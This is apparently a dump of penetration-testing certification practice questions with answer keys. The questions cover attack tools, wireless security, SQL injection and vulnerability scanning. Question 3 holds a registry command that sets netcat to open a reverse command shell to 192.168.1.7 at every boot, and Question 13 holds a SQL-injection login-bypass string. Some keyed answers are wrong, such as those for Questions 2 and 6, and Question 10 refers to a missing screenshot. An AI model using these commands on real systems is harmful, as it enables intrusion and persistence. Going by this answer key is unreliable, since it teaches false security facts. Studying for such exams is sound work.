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QUESTION 1

Which of the following tools connects to and executes files on remote systems? 

A. Spector 

B. Hk.exe 

C. PsExec 

D. GetAdmin.exe 

Correct Answer: C 

 

QUESTION 2

How does OWASP ZAP function when used for performing web application assessments? 

A. It is a non-transparent proxy that sits between your web browser and the targetapplication. 

B. It is a transparent policy proxy that sits between Java servers and |SP web pages. 

C. It is a non-transparent proxy that passively sniffs network traffic for HTTPvulnerabilities. 

D. It is a transparent proxy that sits between a target application and the backenddatabase. 

Correct Answer: D 

 

QUESTION 3

You run the following command on the remote Windows server 2003 computer: 

c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d
192.168.1.7 4444 -e cmd.exe" 

What task do you want to perform by running this command? 

Each correct answer represents a complete solution. Choose all that apply. 

A. You want to put Netcat in the stealth mode. 

B. You want to add the Netcat command to the Windows registry. 

C. You want to perform banner grabbing. 

D. You want to set the Netcat to execute command any time. 

Correct Answer: ABD 
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QUESTION 4

Which of the following is generally practiced by the police or any other recognized governmental authority? 

A. Spoofing 

B. Wiretapping 

C. Phishing 

D. SMB signing 

Correct Answer: B 

 

QUESTION 5

Which of the following tools is a wireless sniffer and analyzer that works on the Windows operating system? 

A. Aeropeek 

B. Kismet 

C. Airsnort 

D. Void11 

Correct Answer: A 

 

QUESTION 6

Which of the following best describes a server side exploit? 

A. Attack on the physical machine 

B. Attack of a service listening on a network port 

C. Attack that escalates user privilege to root or administrator 

D. Attack of a client application that retrieves content from the network 

Correct Answer: C 

 

QUESTION 7

Ryan wants to create an ad hoc wireless network so that he can share some important files with another employee of
his company. Which of the following wireless security protocols should he choose for setting up an ad hoc wireless 

network? 

Each correct answer represents a part of the solution. Choose two. 
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A. WPA2 -EAP 

B. WPA-PSK 

C. WPA-EAP 

D. WEP 

Correct Answer: BD 

 

QUESTION 8

You work as a Network Administrator for Tech Perfect Inc. The company has a TCP/IP-based network. Rick, your
assistant, is configuring some laptops for wireless access. For security, WEP needs to be configured for wireless
communication. By mistake, Rick configures different WEP keys in a laptop than that is configured on the Wireless
Access Point (WAP). Which of the following statements is true in such situation? 

A. The laptop will be able to access the wireless network but the security will be compromised 

B. The WAP will allow the connection with the guest account\\'s privileges. 

C. The laptop will be able to access the wireless network but other wireless devices will be unable to communicate with
it. 

D. The laptop will not be able to access the wireless network. 

Correct Answer: D 

 

QUESTION 9

Which of the following is the JavaScript variable used to store a cookie? 

A. Browsercookie 

B. Windowcookie 

C. Document cookie 

D. Session cookie 

Correct Answer: C 

Reference: http://www.w3schools.com/js/js_cookies.asp 

 

QUESTION 10

Analyze the screenshot below. What event is depicted? 
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A. An exploit that was attempted does not work against the target selected. 

B. A payload was used that is not compatible with the chosen exploit. 

C. The exploit is designed to work against the local host only. 

D. The payload Is designed to create an interactive session. 

Correct Answer: A 

 

QUESTION 11

While scanning a remote system that is running a web server with a UDP scan and monitoring the scan with a sniffer,
you notice that the target is responding with ICMP Port Unreachable only once a second What operating system is the
target likely running? 

A. Linux 

B. Windows 

C. OpenBSD 

D. Mac OS X 

Correct Answer: A 
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QUESTION 12

In which of the following attacks is a malicious packet rejected by an IDS, but accepted by the host system? 

A. Insertion 

B. Evasion 

C. Fragmentation overwrite 

D. Fragmentation overlap 

Correct Answer: B 

 

QUESTION 13

John works as a professional Ethical Hacker. He has been assigned a project to test the security of www.we-are-
secure.com. On the We-are-secure login page, he enters =\\'or\\'\\'=\\' as a username and successfully logs in to the
user page of the Web site. The We-are-secure login page is vulnerable to a __________. 

A. Replay attack 

B. Land attack 

C. SQL injection attack 

D. Dictionary attack 

Correct Answer: C 

 

QUESTION 14

You are performing a vulnerability assessment using Nessus and your clients printers begin printing pages of random
text and showing error messages. The client is not happy with the situation. What is the best way to proceed? 

A. Enable the "Skip all primers" option and re-scan 

B. Ensure Safe Checks is enabled in Nessus scan policies 

C. Remove primer IP addresses from your target list 

D. Verify primers are in scope and tell the client In progress scans cannot be stopped 

Correct Answer: B 

 

QUESTION 15

You are concerned about rogue wireless access points being connected to your network. What is the best way to detect
and prevent these? 
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A. Site surveys 

B. Protocol analyzers 

C. Network anti-spyware software 

D. Network anti-virus software 

Correct Answer: A 
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